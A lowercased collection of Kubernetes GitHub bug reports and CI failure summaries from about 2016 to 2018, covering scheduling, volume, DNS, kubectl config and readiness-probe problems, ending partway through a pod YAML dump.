- linux k8sbetamaster3 4.4.0-79-generic  100-ubuntu smp wed may 17 19:58:14 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r yesterday, one of the host in the cluster entered in a failed state, their pods was in   unknown   status, but kubernetes did not launch any new replica until, hours later, i rebooted the host machine:\r \r \r   statefulsets  \r    \r namespace   name          desired   current   age\r default     app-1         1         0         15h\r    \r \r do i need to explicitly indicate something to do that?\r \r @kubernetes/sig-node-misc

failure cluster  ac251c8c201b5a9a0dc3  https://go.k8s.io/triage ac251c8c201b5a9a0dc3        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ slow\\  --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    27 jobs failed,    136 builds failed. failure stats cover 1 day time range '20 jun 2017 19:59 utc' to '21 jun 2017 19:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 27 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-slow | 12 |  21 jun 2017 19:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/7454  | | ci-kubernetes-e2e-gke-slow | 11 |  21 jun 2017 17:29 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/6753  | | ci-kubernetes-e2e-gce-gci-qa-slow-m58 | 11 |  21 jun 2017 17:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m58/2778  |        previously closed issues for this cluster:  46531  47581    current status  https://go.k8s.io/triage ac251c8c201b5a9a0dc3

failure cluster  187157ff4777777775eb  https://go.k8s.io/triage 187157ff4777777775eb        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:246 oct  3 01:13:01.496: error waiting for all pods to be running and ready: 1 / 29 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                     node                            phase   grace conditions elasticsearch-logging-0 bootstrap-e2e-minion-group-7qwn pending        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-03 00:57:45 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-03 00:57:36 +0000 utc reason:containersnotready message:containers with unready status:  elasticsearch-logging } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-03 00:57:36 +0000 utc reason: message:}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:197           failure cluster statistics: 1 tests failed,    2 jobs failed,    76 builds failed. failure stats cover 1 day time range '2 oct 2017 21:19 utc' to '3 oct 2017 21:19 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-es-logging | 38 |  3 oct 2017 20:45 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-es-logging/18547  | | ci-kubernetes-e2e-gci-gce-es-logging | 38 |  3 oct 2017 20:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/15736  |   current status  https://go.k8s.io/triage 187157ff4777777775eb

 \r   what happened  :\r \r i attempted to use process substitution to pass my root certificate as a file descriptor to  --certificate-authority  flag:\r \r    \r kubectl config set-cluster \ ${deployment_name}\  --server=\ $address\  --certificate-authority=< bosh int < credhub get -n \ ${director_name}/${deployment_name}/tls-kubernetes\  --output-json  --path=/value/ca  --embed-certs=true\r    \r \r but i think its quietly being ignored and not placed in  ~/.kube/config .\r \r instead, i had to create a temporary file on the local disk and store the certificate value in it, then pass that path to  --certificate-authority=${ca_tmp_path} .\r \r   what you expected to happen  :\r \r the value of the process substitution  available via a file descriptor  is placed in  ~/.kube/config  within  certificate-authority-data:  property.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl config set-cluster foobar-name --server=xyz --certificate-authority=< echo \ foobar\   --embed-certs=true\r    \r \r    \r cat ~/.kube/config\r    \r \r the file does not include  foobar  as the certificate:\r \r    yaml\r apiversion: v1\r clusters:\r - cluster:\r     server: xyz\r   name: foobar-name\r contexts:   \r current-context: \ \ \r kind: config\r preferences: {}\r users:   \r    \r \r instead, the file should contain  certificate-authority-data: foobar \r \r    yaml\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: foobar\r     server: xyz\r   name: foobar-name\r contexts:   \r current-context: \ \ \r kind: config\r preferences: {}\r users:   \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  : linux ed3ee945-8f69-4048-7238-e045c9d9a804 4.4.0-72-generic  93~14.04.1-ubuntu smp fri mar 31 15:05:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

k8s version - 1.5.2\r \r kube-controller constantly running into garbage collection for non-existing resources. it prevents deployment of new pods in cluster and all pods remain in \ pending\  state.\r \r pod and node throws error about affinity, which is also mis-leading.\r warning failedscheduling {default-scheduler } pod  kube-state-metrics-2632609649-9qbk0  failed to fit in any node\r \r e1213 19:52:59.140993 7 garbagecollector.go:593  error syncing item &garbagecollector.node{identity:garbagecollector.objectreference{ownerreference:metatypes.ownerreference{apiversion:\ v1\ , kind:\ pod\ , uid:\ d934203c-d686-11e7-a2d6-06a07ccc906e\ , name:\ heimdall-2390169327-xmdr2\ , controller:  bool  nil }, namespace:\ jenkins-vrbc-turnkey-test-kr-82\ }, dependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, dependents:map  garbagecollector.node struct {}{}, owners:  metatypes.ownerreference{metatypes.ownerreference{apiversion:\ extensions/v1beta1\ , kind:\ replicaset\ , uid:\ d93293cb-d686-11e7-a2d6-06a07ccc906e\ , name:\ heimdall-2390169327\ , controller:  bool  0xc422389608 }}}: namespaces \ jenkins-vrbc-turnkey-test-kr-82\  not found\r i1213 19:52:59.191372 7 garbagecollector.go:761  none of object  v1/pod, namespace: jenkins-vrbc-turnkey-test-kr-82, name: heimdall-2390169327-xmdr2, uid: d934203c-d686-11e7-a2d6-06a07ccc906e 's owners exist any more, will garbage collect it\r e1213 19:52:59.241081 7 garbagecollector.go:593  error syncing item &garbagecollector.node{identity:garbagecollector.objectreference{ownerreference:metatypes.ownerreference{apiversion:\ v1\ , kind:\ pod\ , uid:\ d934203c-d686-11e7-a2d6-06a07ccc906e\ , name:\ heimdall-2390169327-xmdr2\ , controller:  bool  nil }, namespace:\ jenkins-vrbc-turnkey-test-kr-82\ }, dependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, dependents:map  garbagecollector.node struct {}{}, owners:  metatypes.ownerreference{metatypes.ownerreference{apiversion:\ extensions/v1beta1\ , kind:\ replicaset\ , uid:\ d93293cb-d686-11e7-a2d6-06a07ccc906e\ , name:\ heimdall-2390169327\ , controller:  bool  0xc422389608 }}}: namespaces \ jenkins-vrbc-turnkey-test-kr-82\  not found\r i1213 19:52:59.291332 7 garbagecollector.go:761  none of object  v1/pod, namespace: jenkins-vrbc-turnkey-test-kr-82, name: heimdall-2390169327-xmdr2, uid: d934203c-d686-11e7-a2d6-06a07ccc906e 's owners exist any more, will garbage collect it

 /area ipv6\r  \r \r   what happened  :\r running a subset of e2e tests, focused on ipv6. during most runs, see kube-dns  same with coredns  restarting. sometimes only a few times, sometimes 20+ times, and occasionally, without recovering.\r \r on some runs, the restarts seem to cause test failures, as the pre-test step fail because kube-dns pod is not up.\r \r   what you expected to happen  :\r tests to run w/o kube-dns restarting, and expecting these tests that are failing intermittently, because kube-dns is not up, would then pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using a cluster created by using kubeadm-dind-cluster  dind  with ipv6 only mode  using ipv6 for all addresses . this uses kubeadm to create the cluster in three containers on a host  using bare-metal host in my case . run this subset of tests:\r \r    \r go run hack/e2e.go -- --provider=local --v 4 --test --test_args=\ --ginkgo.focus=networking|services --ginkgo.skip=ipv4|dns|networking-performance|federation|functioning\\snodeport|preserve\\ssource\\spod --num-nodes=2\ \r    \r \r   anything else we need to know?  :\r it seems that, when we run the tests on a bare-metal cluster of three nodes, not using dind, the kube-dns pod does not restart.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2  but can use latest \r - cloud provider or hardware configuration: bare-metal host\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux bxb-c2-77 4.4.0-124-generic  148-ubuntu smp wed may 2 13:00:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm-dind-cluster  uses kubeadm on containers \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r  outbound rules  https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-outbound-rules-overview  is the recommended way to configure the outbound networks together with azure standard loadbalancer  slb .\r \r however,  disableoutboundsnat  for load balancer rules are disabled by default. that means all frontend ips would be used as the snat ips for virtual machines, according to  azure docs  https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-outbound-connections standard-load-balancer . this would introduce troubles for various security scenarios, as there's no way to get a stable list of egress ips.\r \r azure cloud provider should support this scenario, and disable the outbound snat when outbound rules are configured by provisioning tools.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /

replace https://github.com/googlecloudplatform/kubernetes/blob/master/docs/user-guide/images.md with two somewhat overlapping docs in the : user-guide and admin subdirs.  both doc should mention all the options.  but the user's guide should focus on the options that don't require node access, and the admin guide should focus on the other stuff.  they should link to each other where appropriate.

i just run the density test, when reach the 50 pods per node or 100 pods per node, the test always failed with cleaning operation delete rc, delelte namespace .etc   even more, even if the namespace is deleted,  pods  also will be created in the namespace. i have delete everything related to this namespace in the etcd use etcdctl , the result is the same.  :   anyone else can help me?

description\r \r a k8s cluster got into a state where a petset would create in one namespace but not another.  multiple issues with ebs volumes not mounting or unmounting.  multiple issues with ebs volumes not being destroyed.\r \r deleted petset and pv correctly, and the same issue occurred.  every time we deployed the petset went into pending stuck with the following error:\r \r    \r   32m\t\t4m\t\t100\t{default-scheduler }\t\t\t\t\t\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-c1022dae-b770-11e6-8a9b-12360934d5c8' not found, which is unexpected. \r    \r \r and the pvc would list the volume as  lost .\r \r    steps to recreate  have not validated \r \r 1. install storage class\r 2. install petset\r 3. delete petset\r 4. do not delete pv\r 5. install petset\r 6. delete petset\r 7. delete pv\r 8. installed petset\r \r also, you clean house and install the petset in another namespace and it worked.\r \r in general we have volume problems ... see error above.  we attempted to completely clean house and delete the petset, pv, and ebs volume, and k8s kept creating the exact same volume with the same name. no joy.\r \r    attempted fixes\r \r 1. delete pv\r 2. delete ebs volume by hand\r 3. umount ebs volume by hand\r \r    issues encountered\r \r 1. pvc in a lost state\r 2. ebs volume not mounting from ec2 instance\r 3. ebs volume not deleting\r \r    work-around\r \r 1. cordon node\r 2. install petset and pvc goes into lost state\r 3. create the ebs volume by hand, with the expected k8s labels.  \r 4. detele pvc\r 5. petset starts.\r \r   components involved\r \r - ec2\r - pvc\r - pv\r - petset\r - storageclass\r \r    k8s version\r \r    console\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    cluster layout\r \r full ha masters in 3 zones.  full ha layout in mulitple regions.  3 masters / 6 nodes.\r \r    manifests\r \r     storageclass\r \r    console\r $ kubectl -n lme get storageclass -o yaml\r    \r \r    yaml\r apiversion: v1\r items:\r - apiversion: storage.k8s.io/v1beta1\r   kind: storageclass\r   metadata:\r     creationtimestamp: 2016-11-29t18:56:45z\r     labels:\r       chart: storage-classes-0.1.0\r       component: data-volume\r       context: monitoring\r       heritage: tiller\r       release: torpid-goat\r     name: data-volume\r     resourceversion: \ 19069\ \r     selflink: /apis/storage.k8s.io/v1beta1/storageclasses/data-volume\r     uid: 92af9dc7-b665-11e6-86fb-0e9208071e86\r   parameters:\r     type: gp2\r   provisioner: kubernetes.io/aws-ebs\r - apiversion: storage.k8s.io/v1beta1\r   kind: storageclass\r   metadata:\r     creationtimestamp: 2016-11-29t21:12:11z\r     name: slow\r     resourceversion: \ 39688\ \r     selflink: /apis/storage.k8s.io/v1beta1/storageclasses/slow\r     uid: 7eaadf70-b678-11e6-86fb-0e9208071e86\r   parameters:\r     iopspergb: \ 10\ \r     type: gp2\r     zone: us-west-2a\r   provisioner: kubernetes.io/aws-ebs\r - apiversion: storage.k8s.io/v1beta1\r   kind: storageclass\r   metadata:\r     creationtimestamp: 2016-11-29t18:56:45z\r     labels:\r       chart: storage-classes-0.1.0\r       component: standard-volume\r       context: monitoring\r       heritage: tiller\r       release: torpid-goat\r     name: standard-volume\r     resourceversion: \ 19068\ \r     selflink: /apis/storage.k8s.io/v1beta1/storageclasses/standard-volume\r     uid: 92ae62cc-b665-11e6-86fb-0e9208071e86\r   parameters:\r     type: gp2\r   provisioner: kubernetes.io/aws-ebs\r kind: list\r metadata: {}\r    \r \r     petset\r \r pertinent data included\r \r    console\r $ kubectl -n lme get petset influxdb -o yaml\r    \r \r    yaml\r apiversion: apps/v1alpha1\r kind: petset\r   redacted info about petset\r       volumemounts:\r         - mountpath: /data\r           name: influxdb-volume\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       securitycontext: {}\r       terminationgraceperiodseconds: 0\r   volumeclaimtemplates:\r   - metadata:\r       annotations:\r         volume.beta.kubernetes.io/storage-class: standard-volume\r       creationtimestamp: null\r       labels:\r         chart: influxdb-0.1.0\r         component: influxdb\r         context: monitoring\r         heritage: tiller\r         release: contrasting-quokka\r       name: influxdb-volume\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 300gi\r    \r \r   questions\r \r 1. is this a known issue in 1.4 and it is it fixed in 1.5?\r 2. is there an automatic workaround that exists?\r \r thanks for your help!\r \r cc: @saad-ali @bprashanth @kubernetes/sig-aws @kubernetes/sig-storage @justinsb

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/1445/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a pod. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  9 10:29:02.962: couldn't delete ns: \ e2e-tests-resourcequota-7692i\ : an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-resourcequota-7692i/jobs\\\ \   has prevented the request from succeeding  get jobs.extensions   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-resourcequota-7692i/jobs\\\\\\\ \\\   has prevented the request from succeeding  get jobs.extensions \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820ab2d20 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

our scalability tests started failing on thu last week:\r https://k8s-testgrid.appspot.com/google-kubemark gce-scale\r \r  250 run passed, 251 failed and since then everything failed \r \r i started looking into it and it seems that something happened to how we are handling watches  i.e. i'm seeing a huge number of watches failing with \ err too old\  errors  which i didn't see before .

a few months ago we update go-oidc after having a lot of issues with compliance around jwt parsing, the oauth2 spec, cache header parsing, etc. the new package  github.com/coreos/go-oidc  replaces the existing packages  github.com/coreos/go-oidc/{http,jose,keys,oauth2,oidc} .\r \r over the 1.7 release cycle we'd like to update the packages use for the api server and kubectl plugins. as part of this work, we'd like to also introduce some e2e tests for the oidc plugin, so we can continue to ensure it functions properly.\r \r based on my estimations, this update would fix:\r \r   https://github.com/kubernetes/kubernetes/issues/37875  oauth2 compliance \r   https://github.com/coreos/go-oidc/issues/136  cache header parsing \r   https://github.com/coreos/go-oidc/issues/137  less picky about metadata claims \r \r cc @mlbiam @frodenas @curtisallen @jsloyer @rithujohn191 @kubernetes/sig-auth-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r background:\r there is something wrong with the time in one of our systems, when reboot, the time on the nodes jumps to a future time, and after a few minutes, the chrony will change the time to right one.\r \r at the beginning, we faced a node notready problem, we restarted kubelet service after time changing back, the node bcame ready then.\r currently, the problem is, after that, the \ tiller-deploy\  pod could not become ready for a long time.\r \r  root@bcmtrattlesnake-worker-01 ~ $ kubectl get pods -o wide -n kube-system\r name                                                 ready     status    restarts   age       ip              node\r default-http-backend-3623835380-ndl37                1/1       running   3          1d        192.168.1.99    bcmtrattlesnake-worker-01\r heapster-1268559602-19sf1                            1/1       running   3          1d        192.168.1.98    bcmtrattlesnake-worker-01\r kube-apiserver-bcmtrattlesnake-control-01            1/1       running   4          1h        172.16.2.127    bcmtrattlesnake-control-01\r kube-apiserver-bcmtrattlesnake-control-02            1/1       running   4          46m       172.16.2.128    bcmtrattlesnake-control-02\r kube-apiserver-bcmtrattlesnake-worker-01             1/1       running   4          1d        172.16.2.129    bcmtrattlesnake-worker-01\r kube-controller-manager-bcmtrattlesnake-control-01   1/1       running   4          1h        172.16.2.127    bcmtrattlesnake-control-01\r kube-controller-manager-bcmtrattlesnake-control-02   1/1       running   5          46m       172.16.2.128    bcmtrattlesnake-control-02\r kube-controller-manager-bcmtrattlesnake-worker-01    1/1       running   4          1d        172.16.2.129    bcmtrattlesnake-worker-01\r kube-dns-635741074-7lrj4                             3/3       running   9          1d        192.168.1.101   bcmtrattlesnake-worker-01\r kube-dns-635741074-cn4b1                             3/3       running   0          47m       192.168.1.145   bcmtrattlesnake-control-01\r kube-dns-635741074-t24vv                             3/3       running   12         1d        192.168.1.96    bcmtrattlesnake-worker-01\r kube-proxy-bcmtrattlesnake-control-01                1/1       running   4          1h        172.16.2.127    bcmtrattlesnake-control-01\r kube-proxy-bcmtrattlesnake-control-02                1/1       running   4          46m       172.16.2.128    bcmtrattlesnake-control-02\r kube-proxy-bcmtrattlesnake-worker-01                 1/1       running   4          1d        172.16.2.129    bcmtrattlesnake-worker-01\r kube-proxy-bcmtrattlesnake-worker-02                 1/1       running   4          1d        172.16.2.130    bcmtrattlesnake-worker-02\r kube-scheduler-bcmtrattlesnake-control-01            1/1       running   4          1h        172.16.2.127    bcmtrattlesnake-control-01\r kube-scheduler-bcmtrattlesnake-control-02            1/1       running   5          45m       172.16.2.128    bcmtrattlesnake-control-02\r kube-scheduler-bcmtrattlesnake-worker-01             1/1       running   4          1d        172.16.2.129    bcmtrattlesnake-worker-01\r kubernetes-dashboard-842212871-fkfzw                 1/1       running   3          1d        192.168.1.100   bcmtrattlesnake-worker-01\r tiller-deploy-1339847260-pk8hb                       0/1       running   3          23h       192.168.1.3     bcmtrattlesnake-worker-02\r  root@bcmtrattlesnake-worker-01 ~ $ \r \r  root@bcmtrattlesnake-worker-02 ~ $ kubectl get pod tiller-deploy-1339847260-pk8hb -o yaml -n kube-system\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ tiller-deploy-1339847260\ ,\ uid\ :\ b2d1992f-fffb-11e7-93d1-005056ad9d0f\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 33537\ }}\r   creationtimestamp: 2018-01-23t08:58:15z\r   generatename: tiller-deploy-1339847260-\r   labels:\r     app: helm\r     name: tiller\r     pod-template-hash: \ 1339847260\ \r   name: tiller-deploy-1339847260-pk8hb\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: tiller-deploy-1339847260\r     uid: b2d1992f-fffb-11e7-93d1-005056ad9d0f\r   resourceversion: \ 341822\ \r   selflink: /api/v1/namespaces/kube-system/pods/tiller-deploy-1339847260-pk8hb\r   uid: 8c64842e-001b-11e8-a6df-005056ad9d0f\r spec:\r   containers:\r   - env:\r     - name: tiller_namespace\r       value: kube-system\r     image: bcmt-registry:5000/gcr.io/kubernetes-helm/tiller:v2.6.0\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /liveness\r         port: 44135\r         scheme: http\r       initialdelayseconds: 1\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     name: tiller\r     ports:\r     - containerport: 44134\r       name: tiller\r       protocol: tcp\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 44135\r         scheme: http\r       initialdelayseconds: 1\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-tgr51\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: bcmtrattlesnake-worker-02\r   nodeselector:\r     beta.kubernetes.io/os: linux\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   volumes:\r   - name: default-token-tgr51\r     secret:\r       defaultmode: 420\r       secretname: default-token-tgr51\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-01-23t08:58:15z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-01-24t07:38:16z\r     message: 'containers with unready status:  tiller '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2018-01-23t08:58:15z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://e59395d228a4fd6baafe16f3e95b6b3183acbc0795f5a944760838e459e5b016\r     image: bcmt-registry:5000/gcr.io/kubernetes-helm/tiller:v2.6.0\r     imageid: docker-pullable://bcmt-registry:5000/gcr.io/kubernetes-helm/tiller@sha256:0b05e5c51e426f3ae9ef2beb990a10353e5e4c76d0be4a32d87589e459c605ce\r     laststate:\r       terminated:\r         containerid: docker://58be98d8ac2a4140eb500a6906375d0fe3619b862b784479b56458f9351c8561\r         exitcode: 255\r         finishedat: 2018-01-24t09:32:01z\r         reason: error\r         startedat: 2018-01-24t07:15:01z\r     name: tiller\r     ready: false\r     restartcount: 3\r     state:\r       running:\r           startedat: 2018-01-24t09:35:47z  \r   hostip: 172.16.2.130\r   phase: running\r   podip: 192.168.1.3\r   qosclass: besteffort\r   starttime: 2018-01-23t08:58:15z\r \r the node worker-02 actually rebooted at 7:3x, its time was changed to 9:3x, the tiller pod was reset at 9:35:47. and time of worker-02 was changed back to 7:xx a few minutes later.\r the ready status of this pod kept being false, but if we used “curl 192.168.1.3:44135/readiness” to check manually, it could return successfully. seems k8s stopped to check the ready status of this pod after the time change.\r \r when i changed the time to a value ahead of 9:35:47\r  root@bcmtrattlesnake-worker-02 ~ $ date\r wed jan 24 08:33:53 utc 2018\r  root@bcmtrattlesnake-worker-02 ~ $ date -s 09:37:00\r wed jan 24 09:37:00 utc 2018\r  \r the “tiller” pod recovered immediately, and the result from  “kubectl get pod tiller-deploy-1339847260-pk8hb -o yaml -n kube-system” also shows that k8s did a readiness detection then.\r  root@bcmtrattlesnake-worker-01 ~ $ kubectl get pods -n kube-system tiller-deploy-1339847260-pk8hb -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ tiller-deploy-1339847260\ ,\ uid\ :\ b2d1992f-fffb-11e7-93d1-005056ad9d0f\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 33537\ }}\r   creationtimestamp: 2018-01-23t08:58:15z\r   generatename: tiller-deploy-1339847260-\r   labels:\r     app: helm\r     name: tiller\r     pod-template-hash: \ 1339847260\ \r   name: tiller-deploy-1339847260-pk8hb\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: tiller-deploy-1339847260\r     uid: b2d1992f-fffb-11e7-93d1-005056ad9d0f\r   resourceversion: \ 355295\ \r   selflink: /api/v1/namespaces/kube-system/pods/tiller-deploy-1339847260-pk8hb\r   uid: 8c64842e-001b-11e8-a6df-005056ad9d0f\r spec:\r   containers:\r   - env:\r     - name: tiller_namespace\r       value: kube-system\r     image: bcmt-registry:5000/gcr.io/kubernetes-helm/tiller:v2.6.0\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /liveness\r         port: 44135\r         scheme: http\r       initialdelayseconds: 1\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     name: tiller\r     ports:\r     - containerport: 44134\r       name: tiller\r       protocol: tcp\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 44135\r         scheme: http\r       initialdelayseconds: 1\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-tgr51\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: bcmtrattlesnake-worker-02\r   nodeselector:\r     beta.kubernetes.io/os: linux\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   volumes:\r   - name: default-token-tgr51\r     secret:\r       defaultmode: 420\r       secretname: default-token-tgr51\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-01-23t08:58:15z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r       lasttransitiontime: 2018-01-24t09:37:03z  \r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2018-01-23t08:58:15z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://e59395d228a4fd6baafe16f3e95b6b3183acbc0795f5a944760838e459e5b016\r     image: bcmt-registry:5000/gcr.io/kubernetes-helm/tiller:v2.6.0\r     imageid: 